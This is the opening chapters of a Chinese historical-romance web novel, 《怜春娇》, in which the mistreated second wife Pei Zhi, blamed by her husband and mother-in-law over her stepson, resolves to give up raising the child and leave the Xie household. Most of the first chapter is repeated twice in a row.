《怜春娇》
第1章 受点委屈怎么了
当裴芷在花园里被恒哥儿一个头槌撞进莲花池里,她心里就明白,与谢观南三年凉薄的夫妻情分大约是要走到头了。
水淋淋由梅心费劲从水里捞出来时,谢观南正站在莲花池边,搂着恒哥儿蹙眉打量狼狈至极的她。
眼神冷漠,厌恶,看她仿佛在看仇寇。
“裴芷,当年你姐病重过世,我娶你进门一是为了成全裴家与谢家的恩义,二是为了让你替你姐完成遗愿好好照顾恒哥儿。没想到三年了,锦衣玉食都养不熟你这白眼狼,今日居然心思歹毒要害死恒哥儿。你怎么对得起你过世的亲姐?”
“你真叫我失望!”
不问青红皂白的斥责迎面扑来。裴芷浑身是水狼狈站在一旁,麻木地牵了牵唇角,心里一片冰凉。
诸如此般的话这三年里她听了无数次。
若是从前她定会委屈问一句,为何不信她?
可只要自己问一句便会迎来谢观南越发冷漠厌恶的眼神。那眼神将她对他的爱慕与温情刺破,似刀子一片片凌迟着血肉。
每次都伤得她体无完肤,痛苦不堪。
慢慢的,她学会了不为自己争辩也不接他的话茬,总之一概认错就是了。只要认错了,大抵责罚就能少点吧。
只是,今日与往日好像不一样了。
心里突然涌起一股深深的倦意,像是背负重物小心翼翼行走了许久,突然间放下了。曾经万分看重的东西,在眼下好似都没了意思。
裴芷垂下眼帘:“二爷教训的是。”
谢观南面上一滞,诸多怒叱突然哽在喉中。
他见裴芷缩着身子裹着披风,头发湿乱覆着大半边小脸,水滴顺着细白的脖颈落入颈间,楚楚动人之余看起来十分可怜。
此时才想起是她落了水,而不是恒哥儿。
他蹙眉:“你没什么与我说的?”
裴芷静静看了他一眼,垂眸:“恒哥儿受了惊,夫君且抱他回去,容我回房换件衣衫再说。之后该怎么罚便怎么罚便是,我无怨言。”
谢观南听了眉心皱得更深。
这是变着法子与自己置气了?
想到此处,他心中越发厌憎面前的女人。
怀里的恒哥儿突然哭闹:“爹爹,你罚她,打她!”
谢观南温声哄:“好。”
恒哥儿已是懵懂开了智,听了父亲这话面上心虚了一瞬。不过想到了什么面上又得意起来,挑衅看了裴芷一眼。
“坏女人!我让爹爹罚你。”
裴芷透过湿漉漉的乱发发隙,瞧见了恒哥儿靠着谢观南的肩头正冲着自己笑。
白嫩小脸上,孩子得逞的笑在三月春光下竟透出一丝隐秘的恶毒。
裴芷心中一痛,垂下眼帘。
比起谢观南的无情,真正让她心寒的是恒哥儿。
恒哥儿虽不是她所生,但却是她从三岁养到如今六岁。
幼小的孩子因骤然失去了生母整天哭闹,又瘦又小像一只小猫儿似的可怜。是她衣不解带才将他照顾痊愈,又精细养了许久。
可恒哥儿越长大越和她离心。先时是不愿与她亲近,后来时不时在婆母与夫君面前故意撒谎冤枉她。
小孩子撒谎尚且可以借口是旁人教唆,而如今却已生出害她的心来了。
像今日做错了事跑了,等她追上,竟趁不备将她撞入莲花池中。
这一撞,将她心中最后一点希望与留恋统统都撞碎了。
谢观南听得恒哥儿的哭闹,面上越发冰冷。也不管她有没有伤着呛着,抱着恒哥儿冷然拂袖离去。
裴芷怔怔瞧了一眼父子两人离去的身影。
一颗水珠缓缓滚落脸颊,也不知是水还是泪。
梅心没瞧见她的脸色,手忙脚乱为裴芷拢紧覆身的披风。
道:“少夫人为何不给二爷解释?是恒哥儿偷拿了不该拿的东西,你去追他,他将你撞进池子里的。”
裴芷摇了摇头:“不用了,他不会信的。”
不但谢观南不会信,说出去阖府都不会信的。
谁会信她呢?
后母,在世人眼里都是恶毒的。
……
北正院中,谢观南坐在母亲面前,眉心微蹙。
谢二夫人秦氏一手搂着恒哥儿,另一只手中捏着一块发黄的佛牌,脸色难看。
“你是说,恒哥儿拿了这佛牌胡闹,被小裴氏追着,然后恒哥儿就将她撞进了莲花池里。”
为了区分裴氏姐妹,谢府都称裴芷为小裴氏。
谢观南清俊的脸上微微裂开一道缝隙。
他垂眸,淡淡道:“是。”
在来的路上他见到了恒哥儿手里的佛牌就知道冤枉了裴芷。但,狠话都说尽了,总不好过去立刻与她道个歉。
谢观南想起在池边裴芷瞧着他的眼神,眉心蹙得紧了几分。
往日他也经常这般训斥她,但今日好像不一样。
平日极重体面的她落得如此狼狈,按理应与他争辩两句,但今日只静静瞧了他一眼便不再说话。
这份安静令他寻思起缘故来。
二夫人秦氏皱眉问:“那怎么办?不罚的话,她便知道你冤枉了她,到时候她捉住这把柄闹了起来,你也没脸。恒哥儿名声也有损。”
秦氏的顾虑在恒哥儿身上。
谢家人丁不旺,大房那位爷天命孤星,每定一门亲事就死一位未婚妻。前些年好不容易娶进了一位,在成亲当晚新娘子就暴毙。他就成了鳏夫。
至今二十六了都还孤身一人,听说是再也不娶了。
按道理谢家偌大的家业本该是大房那一位继承,但大房那位眼看着婚配没着落,子嗣更是难说。所以二房这边子嗣便重要起来。
再加上那位爷这些年走南闯北替皇帝做事,虽然表面上风光,权柄在握,但听说树敌太多,保不齐哪天就被政敌弄死了……
既是鳏夫,万一绝了户,那机会不是来了?
秦氏心中盘算,等时机到了,将恒哥儿过继给大房那位名下。
那以后大房嫡子便是恒哥儿。
二夫人秦氏正色对谢观南道:“为了恒哥儿,必须得罚她。一则恒哥儿小,有什么错处是她教导不好。二则恒哥儿这事不能传出去。”
谢观南缓缓点了点头,俊美的面上恢复清冷:
“母亲说得是。罚,是叫她知道要更加小心照料恒哥儿。不能因自小照顾恒哥儿的那点苦劳就张狂起来。”
至于裴芷的委屈,母子两人心中想的俱是一样:
嫁进谢府对裴芷来说已是极好的荣耀,又有什么不满?
而她年纪轻轻一进门便白得了一个儿子,受点委屈又怎么了?当裴芷在花园里被恒哥儿一个头槌撞进莲花池里,她心里就明白,与谢观南三年凉薄的夫妻情分大约是要走到头了。
水淋淋由梅心费劲从水里捞出来时,谢观南正站在莲花池边,搂着恒哥儿蹙眉打量狼狈至极的她。
眼神冷漠,厌恶,看她仿佛在看仇寇。
“裴芷,当年你姐病重过世,我娶你进门一是为了成全裴家与谢家的恩义,二是为了让你替你姐完成遗愿好好照顾恒哥儿。没想到三年了,锦衣玉食都养不熟你这白眼狼,今日居然心思歹毒要害死恒哥儿。你怎么对得起你过世的亲姐?”
“你真叫我失望!”
不问青红皂白的斥责迎面扑来。裴芷浑身是水狼狈站在一旁,麻木地牵了牵唇角,心里一片冰凉。
诸如此般的话这三年里她听了无数次。
若是从前她定会委屈问一句,为何不信她?
可只要自己问一句便会迎来谢观南越发冷漠厌恶的眼神。那眼神将她对他的爱慕与温情刺破,似刀子一片片凌迟着血肉。
每次都伤得她体无完肤,痛苦不堪。
慢慢的,她学会了不为自己争辩也不接他的话茬,总之一概认错就是了。只要认错了,大抵责罚就能少点吧。
只是,今日与往日好像不一样了。
心里突然涌起一股深深的倦意,像是背负重物小心翼翼行走了许久,突然间放下了。曾经万分看重的东西,在眼下好似都没了意思。
裴芷垂下眼帘:“二爷教训的是。”
谢观南面上一滞,诸多怒叱突然哽在喉中。
他见裴芷缩着身子裹着披风,头发湿乱覆着大半边小脸,水滴顺着细白的脖颈落入颈间,楚楚动人之余看起来十分可怜。
此时才想起是她落了水,而不是恒哥儿。
他蹙眉:“你没什么与我说的?”
裴芷静静看了他一眼,垂眸:“恒哥儿受了惊,夫君且抱他回去,容我回房换件衣衫再说。之后该怎么罚便怎么罚便是,我无怨言。”
谢观南听了眉心皱得更深。
这是变着法子与自己置气了?
想到此处,他心中越发厌憎面前的女人。
怀里的恒哥儿突然哭闹:“爹爹,你罚她,打她!”
谢观南温声哄:“好。”
恒哥儿已是懵懂开了智,听了父亲这话面上心虚了一瞬。不过想到了什么面上又得意起来,挑衅看了裴芷一眼。
“坏女人!我让爹爹罚你。”
裴芷透过湿漉漉的乱发发隙,瞧见了恒哥儿靠着谢观南的肩头正冲着自己笑。
白嫩小脸上,孩子得逞的笑在三月春光下竟透出一丝隐秘的恶毒。
裴芷心中一痛,垂下眼帘。
比起谢观南的无情,真正让她心寒的是恒哥儿。
恒哥儿虽不是她所生,但却是她从三岁养到如今六岁。
幼小的孩子因骤然失去了生母整天哭闹,又瘦又小像一只小猫儿似的可怜。是她衣不解带才将他照顾痊愈,又精细养了许久。
可恒哥儿越长大越和她离心。先时是不愿与她亲近,后来时不时在婆母与夫君面前故意撒谎冤枉她。
小孩子撒谎尚且可以借口是旁人教唆,而如今却已生出害她的心来了。
像今日做错了事跑了,等她追上,竟趁不备将她撞入莲花池中。
这一撞,将她心中最后一点希望与留恋统统都撞碎了。
谢观南听得恒哥儿的哭闹,面上越发冰冷。也不管她有没有伤着呛着,抱着恒哥儿冷然拂袖离去。
裴芷怔怔瞧了一眼父子两人离去的身影。
一颗水珠缓缓滚落脸颊,也不知是水还是泪。
梅心没瞧见她的脸色,手忙脚乱为裴芷拢紧覆身的披风。
道:“少夫人为何不给二爷解释?是恒哥儿偷拿了不该拿的东西,你去追他,他将你撞进池子里的。”
裴芷摇了摇头:“不用了,他不会信的。”
不但谢观南不会信,说出去阖府都不会信的。
谁会信她呢?
后母,在世人眼里都是恶毒的。
……
北正院中,谢观南坐在母亲面前,眉心微蹙。
谢二夫人秦氏一手搂着恒哥儿,另一只手中捏着一块发黄的佛牌,脸色难看。
“你是说,恒哥儿拿了这佛牌胡闹,被小裴氏追着,然后恒哥儿就将她撞进了莲花池里。”
为了区分裴氏姐妹,谢府都称裴芷为小裴氏。
谢观南清俊的脸上微微裂开一道缝隙。
他垂眸,淡淡道:“是。”
在来的路上他见到了恒哥儿手里的佛牌就知道冤枉了裴芷。但,狠话都说尽了,总不好过去立刻与她道个歉。
谢观南想起在池边裴芷瞧着他的眼神,眉心蹙得紧了几分。
往日他也经常这般训斥她,但今日好像不一样。
平日极重体面的她落得如此狼狈,按理应与他争辩两句,但今日只静静瞧了他一眼便不再说话。
这份安静令他寻思起缘故来。
二夫人秦氏皱眉问:“那怎么办?不罚的话,她便知道你冤枉了她,到时候她捉住这把柄闹了起来,你也没脸。恒哥儿名声也有损。”
秦氏的顾虑在恒哥儿身上。
谢家人丁不旺,大房那位爷天命孤星,每定一门亲事就死一位未婚妻。前些年好不容易娶进了一位,在成亲当晚新娘子就暴毙。他就成了鳏夫。
至今二十六了都还孤身一人,听说是再也不娶了。
按道理谢家偌大的家业本该是大房那一位继承,但大房那位眼看着婚配没着落,子嗣更是难说。所以二房这边子嗣便重要起来。
再加上那位爷这些年走南闯北替皇帝做事,虽然表面上风光,权柄在握,但听说树敌太多,保不齐哪天就被政敌弄死了……
既是鳏夫,万一绝了户,那机会不是来了?
秦氏心中盘算,等时机到了,将恒哥儿过继给大房那位名下。
那以后大房嫡子便是恒哥儿。
二夫人秦氏正色对谢观南道:“为了恒哥儿,必须得罚她。一则恒哥儿小,有什么错处是她教导不好。二则恒哥儿这事不能传出去。”
谢观南缓缓点了点头,俊美的面上恢复清冷:
“母亲说得是。罚,是叫她知道要更加小心照料恒哥儿。不能因自小照顾恒哥儿的那点苦劳就张狂起来。”
至于裴芷的委屈,母子两人心中想的俱是一样:
嫁进谢府对裴芷来说已是极好的荣耀,又有什么不满?
而她年纪轻轻一进门便白得了一个儿子,受点委屈又怎么了?
第2章 第一次动手
秦氏又说起另一件事:“我邀了白大夫人过来喝茶叙旧,白家小姐也要来。”
谢观南薄唇微抿,默了一默。
“她与你从小青梅竹马。要不是她父亲当年办差出了错,被发落回了锦州,哪会让你去娶了裴若那个病秧子?唉,以为裴家满门清贵,裴济舟仕途也不错,作为你的岳丈将来能给你点助力。”
“没成想裴家后来竟也出事了,裴若那个病秧子又身子不争气过世,留下恒哥儿。唉,这才不得不让小裴氏进门。”
说道从前的憾事,秦氏唏嘘不已。
谢观南垂眸饮茶,面色复杂也不知在想什么。
“白家善于钻营,去年花了大把银子送了一位小姐进宫去。今年就得了宠,白家又复起了。”
谢观南不愿听母亲唠叨,打断:“母亲别说了。”
秦氏闭了嘴,只是拿眼悄悄看自己儿子的脸色。
“玉桐说两年没见你了,甚是想念……”
谢观南沉默半晌,玉雕似的清冷面上如春风化雪般稍稍融化。
他缓声问:“白家什么时候到?”
秦氏舒展了笑容:“看时辰约莫这个时候到。”
“人来了,你就当义妹照顾,旁人决计不会说什么。若是小裴氏得知内情与你闹起来,我有的是话堵住她,你且放心。”
谢观南应了声,便去前院准备招呼白家客人了。
……
到了清心苑,兰心已经收到消息早早烧了一大盆热水,备了干净的衣衫鞋袜,连伤药都备齐了。
好不容易见到裴芷回来,丫鬟们赶紧支起屏风为她脱了衣衫鞋袜。
裴芷冻得唇发紫,手心蜷缩。她天生体质偏寒,如今寒气入体每一根骨头都在疼。
兰心赶紧唤来小丫鬟,拿了一堆切好的生姜死命为裴芷搓揉手心。
如此这般紧张忙了大半天,裴芷才慢慢缓了过来。
更衣梳洗后,她还没躺在榻上就听见外面有人来传话。
梅心黑着脸进来的:“二爷让人传话,让少夫人出去迎客。”
兰心正帮裴芷擦头发,听了这话,气得手抖:“要不要人活了?二爷这是忘了小姐刚遭了什么罪?”
传话的下人:“是白家小姐说要与少夫人相见,二爷拦下来了,说……说白家小姐身份尊贵,还是让少夫人收拾出去应酬一会,见个面,说个场面话便可以回来。”
说着,下人一副理所当然,转身便要出去回话。
“慢着,”裴芷抬起素白的脸,淡淡道:“去回二爷,我身子不适无法见客。”
传话下人一愣,见她神色坚定,只能诧异地走了。
梅心兰心两丫鬟面面相觑。
她们和那传话下人想的一样,以为一向柔顺听话的裴芷会忍着不适去迎客。毕竟是谢观南亲自吩咐的,哪怕再为难再琐碎她都亲力亲为。
如今这是怎么了?
兰心松了一大口气,继续为她擦发。
梅心心思细了点,悄悄问:“少夫人是不是还生着二爷的气?”
裴芷摇了摇头:“只是觉得累了。”
梅心摸不透裴芷,只觉得她今日自落水后就似乎变得不一样了。
不过这点不一样,梅心是乐见的。
少夫人自嫁入谢府后就对二爷太在乎,而在乎便会让一个人显得太过卑微。
她不喜欢自家少夫人这样。
裴芷梳洗完拢了一件内缀羊羔绒的宽大袄子靠在软榻上,听着隔壁院墙人声鼎沸,寒暄嬉笑。清心苑这边因为被抽调了奴仆前去伺候,变得冷冷清清的。
有一瞬她竟觉得这样很好。
平日阖府将自己当做外人,看她的眼神都带着审视。在他们心里,好似她做了谢观南的续弦,便是捡了天大的便宜,生了多大的造化。
是个人都有资格说教她一番,教她该如何感恩,如何做。明明自己什么都还没来得及做,就欠了谢府一份天大的恩情。
这份所谓的“恩情”太重,每次压下来都让她喘不过气来。
三年了,她背够了也倦了,可以考虑走了。
过半盏茶功夫,北正院传话让她去祠堂跪两个时辰。梅心要去求情,让裴芷拦了下来。
她看了看天色:“晚上就能回来了。”
传话嬷嬷等了半天,却见裴芷面色平淡如常,竟没有与自己说软话。
平日她来传话,不管好听难听裴芷都笑脸相迎,还得塞点好处。
今日怎么和木头人似的,莫不是摔池里脑子摔傻了?
裴芷换好衣裳,走到传话嬷嬷面前,很是平静道:“走吧。”
嬷嬷见她这样子是打定主意不肯给好处,暗地狠狠剜了她一眼。
心道,回去定要在二夫人面前再狠狠上个眼药。
……
天色昏暗,过了晚膳时分裴芷才在梅心搀扶下一瘸一拐回到清心院。
兰心匆匆迎上来:“二爷等着呢。”
裴芷一愣,回了主屋,果然瞧见谢观南端坐在罗汉床边,手中执着一本书册。
烛火明亮,将他俊美的侧颜照得线条分明。
他端坐着,一袭天青色常服垂坠而下,层层叠叠,姿态清俊儒雅,宛若画上的谪仙。
他瞧见裴芷走了进来,放下书卷,问:“我唤你去见白家小姐,为何不去?莫不是因下午的事与我置气?”
他皎若明月般的面下藏着隐忍许久的恼意。
裴芷张了张口,下意识想辩解两句,但话到了嘴边变成:“二爷误会了,没有置气。”
谢观南眸色很冷:“没有置气又为何不去?”
他想到了什么,盯着她:“是不是旁人与你说了我与白家小姐的旧事?”
裴芷一愣:“什么旧事?”
谢观南没料她真的不知,心中便后悔自己沉不住气来。
他冷笑:“你是真不知还是装不知?”
眼见又要陷入无休无止的争执,裴芷只觉得越发无力。
“是真不知。”
谢观南怎么会信她?
“还顶嘴?”他冷笑:“我与白家小姐是青梅竹马,但也只限于这份儿时情谊罢了。让你去见她,是给你脸面,没想到你不知我用心良苦,还在外人面前与我闹。你可知白家小姐听到你不愿出去见客,心里有多难过?”
“她还一个劲道歉说是自己唐突了你。”
白家小姐见不着她便难过了,而她被继子撞进池里就不难过?
在祠堂罚跪就不难过?
到底在他谢观南的心中,旁边别的事都是重要的,唯独她一点都不重要。
裴芷听到这里,淡淡打断:“夫君不用给我脸面。白家小姐我从没见过,更不知她与夫君有旧情。夫君不用疑心我是故意置气。”
“再者我不出去见客,只因为我刚落水不便见客,婆母还发落我去跪祠堂。这些小事白家小姐不知,夫君应该是知道的。”
“你!”
谢观南被打断,脸上怒色浮起,手边的书册一摔突然飞了过去,打到裴芷脸上。
第3章 她越难拿捏了
身边梅心一声惊呼,赶紧护在她面前,跪下:
“二爷息怒!”
谢观南也不知晓书册竟飞了出去,抬眼看去。
裴芷鬓发被打乱,长发垂落白腻如雪脸颊边。她清清冷冷站在那边,眸光幽然。她是极美的,甚至比过世的亲姐裴若更美上三分。
肤如凝脂,眉眼如画,但往日带着缱绻深情的眼中,此时多了几分他看不懂的冰冷疏离。
谢观南张了张口,心中有了些许的悔意。
他今日为了白玉桐辩解,生了心虚,竟是第一次动了手。虽是无意的终究伤了她。
但,他不想道歉。
谢观南沉了脸色,长叹一声,语重心长:
“我是为了你好。”
“你现在这个心胸狭窄又善妒吃醋的样子,莫说是我,九泉之下你姐怕也是失望透顶。”
裴芷定定瞧着谢观南。
三年了,他并未一丝改变,依旧是京中人人称赞的风流倜傥,清雅端庄的世家公子。
可记忆中那位谦谦君子,对自己说话温声细语的谢观南好似不见了。
又或许,一直是自己的误解。
谢观南还是谢观南,只不过他的温柔与深情不会施舍与她罢了。
他和谢府其他人又有什么不同?
他只要她做好谢少夫人的样子,用尽心血养育好恒哥儿。至于她的脸面、是委屈还是难过,他根本不在意。
人一旦有了偏见,任怎么努力都是无用。
想通了这点,浑浑噩噩的脑中突然一股寒意袭来,心里最后一点留恋也被打散了。
人在一瞬间清醒了。
谢观南还要再说,裴芷已转过身:“二爷的教诲我已经都听明白了。夜了,妾身回屋歇息了。二爷早些歇息。”
说着,她让梅心扶着自己回了寻常住的西侧屋。
谢观南瞧着她清冷的纤细背影,眉心蹙起。
这小裴氏,越发难拿捏了。
第二天一早,裴芷早早便醒了。她瞧着帐子上绣着的鸳鸯戏水,默默不做声。
昨晚睡得不太好,梦见了三年前的一些旧事。
三年前,父亲裴济舟因为替废太子说了几句话,触怒皇帝获罪下狱。要不是因为祖父曾做过太子太傅,还有点微薄情分,恐怕整个裴家都要被牵连获罪。
祖母不得不带着一家子回到老家暂住。
后一年,嫁入谢府的亲姐裴若传来病重消息。
在亲姐的病榻前,裴若提出让刚及笄的裴芷嫁给谢观南做续弦。
裴芷知道,亲姐是不放心不到三岁的稚子,更舍不得自己过世之后,深爱的夫君谢观南无人照顾。
看着亲姐病得只剩下一层皮肉的脸,裴芷犹豫不决。
母亲见她不答应,将她关了起来打骂又哀求许多日。裴芷只是不松口。
是后来谢观南亲自见了她。
雪般的梨花树下,一袭青衣的谢观南清瘦如谪仙,儒雅俊美的面上是淡淡的疲倦。
他是京城第一世家谢家的二房长子,为人端正清雅,才学满腹,是京中多少深闺少女梦中情郎,想嫁入谢家的女子当年能绕京城一圈。
可他当初却独独选了裴家,婚后与亲姐裴若恩爱情深,传为京中佳话。
他望着她,眸光温润如春水:“我知晓这门亲事定会让你为难,但恒哥儿还小,你姐爱子如命,我也不能将他交由别的女人手上,只有你了,阿芷。”
他见裴芷还在犹豫,轻叹:“罢了,我不强人所难。你若不愿,就当没有此事。”
他神色黯然:“只是可怜了恒哥儿……”
亲姐的哀求、母亲的哭诉,粉团子似的小侄儿哇哇大哭的样子在脑中日夜纠缠着她,而面前的男人又在自己面前如此情真意切。
那一刻,她动摇了。
裴芷记得自己问了一句:“姐夫,若是我进门,你会待我如姐姐那般好吗?”
谢观南沉默了良久,嗓音温润:“会。”
“你会信我,敬我,终身不纳妾吗?”
谢观南似乎笑了一声,而后说了一个字:“会。”
如今想来,裴芷才明白谢观南的笑里藏着诸多复杂。
总归,自己轻信了一个男人浅薄的承诺,担上了恶名,转头投进了谢家这吃人的火坑里。
眼角一滴泪缓缓滑落,离去的念头越发重了。
她背负着不属于她的重担,在这不属于她的地方苦苦熬了三年。
说不上遭受了多了不得的委屈,是日积月累的失望积攒多了,突然在一瞬间深深替自己不值得。
若说昨儿只是一瞬冲动有了离去的念头,经过一夜仔细思量,她想的越发明白。
谢观南不是她的良配,再继续在谢府待下去,她会生生熬死的。
“少夫人,起了吗?二爷起身了。”
梅心轻声提醒。
裴芷收回思绪,应了一声默默起床梳洗。
梅心见她不紧不慢,不由劝:“二爷昨晚发了好大的火,要不一会儿少夫人前去解释两句,便叫二爷知道少夫人没有那等心思……”
裴芷摇了摇头:“不用了。二爷要是问起来就说我身子不适。”
梅心伸手一摸,果然发现她额头烫得厉害,连忙去让人请大夫,再也不提方才的事。
谢观南照旧起身,在床榻边等了好一会儿才发现与平日的不同来。
若是平日,他一睁眼,房中便有裴芷温柔的笑脸相迎。
她总是早他半个时辰起身,打扮得整整齐齐,一应洗漱用具,衣物都备得好好的。
裴芷是个极妥帖细心的女人,就算她亲姐裴若在世做的都不如她十分之一。
只要是她伺候的时候,水盆的水永远不烫不冷正正好,用的面巾都用熏香和热水仔细泡过,衣衫永远整齐,还有淡淡的檀香。
而她永远安静在他身边张罗,绝不让他多动一根手指头。
想到此处,谢观南招来青书:“少夫人呢?”
青书一早也等在房门边,等着裴芷照旧来服侍二爷。
虽说昨夜听说二爷不小心摔了书砸到了二少夫人,但二少夫人那么爱重二爷,寻常争执吵架都熬不过一夜,不管哭得多委屈,第二天一早一定巴巴过来服侍。
可今早眼见过了时辰,二少夫人偏房竟然没有半点动静。
青书犹豫了下,道:“要不我去问问?”
谢观南眸色一沉:“罢了,她约莫还在生气。故意拿乔不来。”
青书笑道:“二爷多虑了,少夫人是极爱重二爷的,又识大体,从来不会胡闹生事。”
谢观南听了,想起裴芷的确是几乎没有过任性妄为的时候。
哪怕她受了多少斥责与责罚,顶多回房中自苦两天,照旧围着自己转,顶多面上苍白,精神不太好。
鲜少听她因为小事而抱怨个不停。
青书突然道:“少夫人起来了。”
第4章 第一件要放手的事
果然偏房烛光亮了起来。谢观南瞧见薄薄的窗纱透出一道纤瘦背影,由着丫鬟扶着梳洗拨弄长发。
光是背影引人遐想,浮想联翩。
青书去问了,回来禀报裴芷生了病,请了大夫。
谢观南后知后觉想起她昨儿落了水,又在祠堂跪了两个时辰,不生病才怪。
而昨夜竟错手伤了她。
想来她心中也是极伤心,这才不愿意来伺候他梳洗。
罢了,他知这位小妻子本性极柔顺善良的,只因为深爱他才会犯下错事。
这次便饶了她,反正罚都罚了就当小惩大诫。以后她定不敢再对恒哥儿有怠慢。
至于白家小姐的事,谢观南心中并不认为裴芷敢吃醋。
她安分做好谢府的续弦夫人,该有的以后自然会有。不该有的……他肯定不会多给的,而且也不会让她过分肖想。
谢观南抿了抿唇,清冷道:“送点补品去,就说让她好好养着。”
说罢他起身让下人打水梳洗完,便当值去了。
裴芷由梅心梳了头发,喝了小半碗温热的盐水复又躺在床上。北正院那边来了人,干巴巴吩咐她因病修养两日,好了再说。
来的人是二夫人秦氏身边的樊嬷嬷。
樊嬷嬷传完话,仔细看了裴芷的脸色,忽地道:“过两日是故去裴氏的生忌,二夫人让你代为吃斋念经七日,为恒哥儿祈福,也为谢府积攒点功德。”
裴芷听了,越发觉得心寒。
秦氏时常插手她房中之事。她定了两人同房的时间,每月只有初一十五才能同房,若是谢观南多回清心院几回,秦氏就会把她唤过去暗里敲打一番。
不许她因为男女情事上耽搁。
她面皮薄,男女之事上不太知晓,于是就规规矩矩守着秦氏的规矩。
而今年,谢观南差事清闲,回清心院住的日子一多,秦氏又借口让她去佛堂抄经或者分派她一些礼佛上香的事。
礼佛上香就必须提前斋戒沐浴一番,这样更不可能与谢观南同住同睡。
先前她不明白,直到有一回无意中听到秦氏身边的嬷嬷说漏了嘴,才明白了秦氏的用心。
原来秦氏不愿意她早怀了谢观南的孩子,因为这会抢了恒哥儿的宠爱。且一旦她有了自己的孩子,也就不会全心全意照顾恒哥儿了。
婆母都这么防她,可想而知阖府下人又会怎么看她。大概早就将她轻视到了尘埃里了。
兰心忍不住问:“樊嬷嬷,吃斋念经可是要去小佛堂?”
樊嬷嬷点头:“自然是那边。”
兰心被气得哆嗦,但又不敢直接顶撞。
“少夫人还发着烧,恐怕得多养两日才行,能否请嬷嬷前去与二夫人说点好话……”
樊嬷嬷没听完就厉声打断:“你是什么东西,配替你家主子求情?难不成她亲姐的生忌她都不肯去斋戒念经?!”
兰心辩解:“不是,往年生忌都没般做。再说佛堂清苦,天气还这般冷,少夫人的身子受不住。请嬷嬷……”
“啪”一声,兰心被樊嬷嬷一巴掌打翻在地,捂着脸委屈哭了起来。
裴芷下了床榻将她护在身后:“樊嬷嬷别打了,兰心这丫头不会说话,你不要同她一般见识。”
樊嬷嬷在谢府中地位超然,是秦氏的陪嫁嬷嬷,还养过二房几位少爷小姐们,功劳颇大。
平日秦氏都对她和颜悦色,小一辈的见了都得对她行礼。
樊嬷嬷冷冷扫向裴芷,见她身形消瘦,面白如雪,一头墨发凌乱披在肩头,有种不自知的妩媚姿态。
樊嬷嬷心中越发厌恶,这小裴氏长得越发妖妖娆娆了,若是不早点把她与谢观南分开,将来还不知道怎么迷惑爷们,最后夺了谢府的掌家权呢。
她从鼻孔冷哼一声:“一个下贱的婢子还不值得我生气。不过,小裴氏,我劝你收起不该有的心思,好好去佛堂斋戒念经。哦,对了,念经不够心诚,你去抄一百遍心经吧。”
她说完转身要走。
“等等。”裴芷忽地唤住她。
樊嬷嬷皱眉回头。
裴芷轻轻喘了口气,忍着不适,问:“若我去佛堂,恒哥儿谁照顾?”
樊嬷嬷听了这话,像是预料到,皮笑肉不笑:“自然是由二夫人照顾。你放心,恒哥儿金枝玉贵,身边有一堆嬷嬷丫鬟伺候着,冷不着饿不着。你也就别惦记了。”
裴芷点了点头:“那就好。”
樊嬷嬷一怔,这小裴氏是不是被烧坏了脑子?话里的讥讽她竟然没听出来。
裴芷对梅心吩咐将给恒哥儿做的小衣服和小鞋子都拿出来,交给樊嬷嬷。
她道:“如今恒哥儿也大了,婆母身边的人多,看顾得比我仔细,以后就都交给婆母教养吧。”
樊嬷嬷捧着一堆小衣服小鞋子,诧异瞪大眼。
裴芷脑子昏昏的,身上一阵冷一阵热,强撑着说这些话已是极限了。交代完就往床边走,看也不看樊嬷嬷脸色。
樊嬷嬷忍不住质问:“小裴氏你是什么意思?!”
裴芷喘了口气,脸色青白,道:“没什么意思,恒哥儿我教养不了,交给婆母了。”
樊嬷嬷气得都笑了:“我只说你几句你就撂挑子了?还是你心中一直记恨二夫人罚了你?我真没想到小裴氏你心眼如此小,与小孩子计较,又与婆母计较。你真真……是……”
“你忘了当初是怎么在过世少夫人面前发誓的?”
裴芷轻声道:“我是发过誓,但如今已做到了。恒哥儿六岁,身体康健,也可以启蒙了。这个时候交给婆母自然是无事的。”
就算她不将恒哥儿交出去,平日里秦氏也时常让人抱着去玩,只有恒哥儿生病了才又丢了回来。
总之,玩笑逗乐由他们接手,生病发烧的辛苦事都归她。在秦氏与谢观南眼中,她只是比乳母地位稍微高点的奴仆罢了。
梅心与兰心曾经抱怨过,说恒哥儿这样来来回回都被养坏了。她何尝不知?平日只是碍着面子上一一都忍了下来了。
如今她已经有了去意,第一件事便是将恒哥儿放了手。
第5章 妾自请下堂
樊嬷嬷瞧见裴芷一副油盐不进的样子,气得脸都黑了。
“这话是你说的,将来可别后悔!恒哥儿要是归到二夫人膝下教养,就算是你跪着哭着央求,绝对是不会再给你了。”
樊嬷嬷脸色阴沉沉走了。
梅心十分担忧:“少夫人,樊嬷嬷一定会去向二夫人告状的,到时候二爷又要来怪罪。”
裴芷正发着热,眼前模模糊糊的。
她低声道:“不用担心,我……”本就想离开这这地方了。
话没说完已昏睡过去。
这一觉睡得黑沉。醒来的时四周都是黑的,只有桌上一豆烛光微微泛着黄色的光晕。
睡了一觉热退了不少,整个人清爽起来。
裴芷唤了丫鬟来伺候。
她一天没吃东西,梅心拿了一碗微温的米粥拿了一碟咸菜。裴芷吃了一口只觉得这简直是生平最美味的东西,忍不住多吃几口。
梅心见她精神好,连忙让人把熬好的药端上来。
一屋子下人忙碌起来,总算是有了几分活气。
却不想谢观南今夜竟然抱着恒哥儿来了。
他一进门就闻到了浓浓的药味,本打算回转,但一想到今日母亲的哭诉,便抱着恒哥儿径直走了进来。
他刚坐下来,抱着恒哥儿并不放手。兰心与嬷嬷要上来接孩子。被他冷冷瞧了一眼,她们被冰冷的眼风吓了一跳,悄悄退了下去。
临走前,兰心忧心忡忡瞧了一眼裴芷。
屋中气氛一下子冷清下来,忙着伺候的梅心心惊瞧了一眼谢观南的脸色。心中咯噔一下——二爷果然生气了。
这种无言的冷战是最磨人,因为二爷一冷下脸来几日都不理人。
平日不消说她们下人,裴芷只要一看见二爷的脸色是这样,还没等他开口,她便自行请罪了。
谢观南不言不语坐在窗前梨花木椅上,见裴芷半靠在床头软垫上,头上绑着一条宝蓝色束额,乌黑柔顺的发丝微微凌乱盖了脸颊。
肤如白雪,眉眼如画,再加上病出来恹恹的脆弱,宛若病西施似的美。
谢观南走了神,回过神来才发现自从自己入屋中,裴芷竟没有往他这边瞧一眼。
他冷淡开了口:“是你与母亲说,不要再教养恒哥儿了?”
屋子里气氛骤然冷了下来,像是回到了寒冬腊月。丫鬟们战战兢兢垂头恭立,大气不敢出。
裴芷慢慢喝了药又漱了口,做完这些后又仔细擦了擦嘴。这才抬眼看面前父子两人。
